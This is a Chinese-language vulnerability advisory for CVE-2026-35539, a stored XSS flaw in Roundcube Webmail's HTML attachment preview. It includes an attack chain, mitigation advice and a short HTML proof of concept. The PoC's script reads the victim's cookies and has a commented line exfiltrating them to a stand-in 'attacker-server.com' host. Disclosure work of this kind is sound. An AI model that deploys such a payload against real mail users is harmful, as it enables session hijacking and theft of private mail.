IPBUF安全漏洞报告
English
CVE-2026-35539 CVSS 6.1 中危

CVE-2026-35539 Roundcube Webmail 存储型XSS漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-35539
漏洞类型
XSS
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Roundcube Webmail

相关标签

XSSRoundcubeWebmailCVE-2026-35539存储型XSS

漏洞概述

Roundcube Webmail 在 1.5.14 和 1.6.14 之前的版本中存在安全漏洞。该漏洞是由于在预览模式下对 HTML 附件的清理不充分导致的。攻击者可以通过发送包含恶意 HTML 代码的邮件附件来利用此漏洞。当受害者预览该 text/html 附件时,恶意脚本将在受害者的浏览器上下文中执行,可能导致机密信息泄露或会话劫持。

技术细节

该漏洞属于存储型跨站脚本攻击(XSS)。Roundcube Webmail 在处理邮件附件预览功能时,未对 text/html 类型的附件内容进行严格的 HTML 消毒处理。攻击者可以构造包含恶意 JavaScript 代码的 HTML 文件,并将其作为邮件附件发送给目标用户。由于缺乏有效的过滤机制,当受害者在 Webmail 界面中点击预览该附件时,浏览器会解析并执行其中的恶意代码。由于 CVSS 向量显示范围改变(S:C),该漏洞可能允许攻击者绕过同源策略限制,窃取用户的会话 Cookie、读取敏感邮件内容,甚至利用用户的权限执行未授权操作。此漏洞需要用户交互(UI:R),即必须由受害者主动点击预览按钮才会触发。

攻击链分析

STEP 1
1
攻击者构造一个包含恶意 JavaScript 代码的 text/html 文件(如 invoice.html)。
STEP 2
2
攻击者将该 HTML 文件作为附件发送给目标 Roundcube Webmail 用户的邮箱。
STEP 3
3
受害者登录 Webmail 并查看到新邮件,点击“预览”附件功能。
STEP 4
4
Roundcube 服务器在预览模式下未充分清理 HTML 内容,直接将其渲染到受害者浏览器中。
STEP 5
5
受害者浏览器执行恶意脚本,攻击者借此窃取 Session ID 或执行其他恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Proof of Concept: Malicious HTML Attachment --> <!DOCTYPE html> <html> <head> <title>Invoice Preview</title> </head> <body> <h1>Please review the attached document</h1> <!-- Malicious script to exploit XSS --> <script> // Demonstrate execution alert('CVE-2026-35539 Exploited: ' + document.cookie); // In a real attack scenario, data would be exfiltrated // var img = new Image(); // img.src = "http://attacker-server.com/steal?c=" + encodeURIComponent(document.cookie); </script> <p>Content looks legitimate...</p> </body> </html>

影响范围

Roundcube Webmail < 1.5.14
Roundcube Webmail < 1.6.14

防御指南

临时缓解措施
建议用户不要轻易预览来源不明邮件中的 HTML 附件。管理员应尽快应用官方发布的安全补丁。如果无法立即升级,可考虑在邮件网关处过滤包含特定恶意脚本特征的 HTML 附件,或暂时禁用附件预览功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表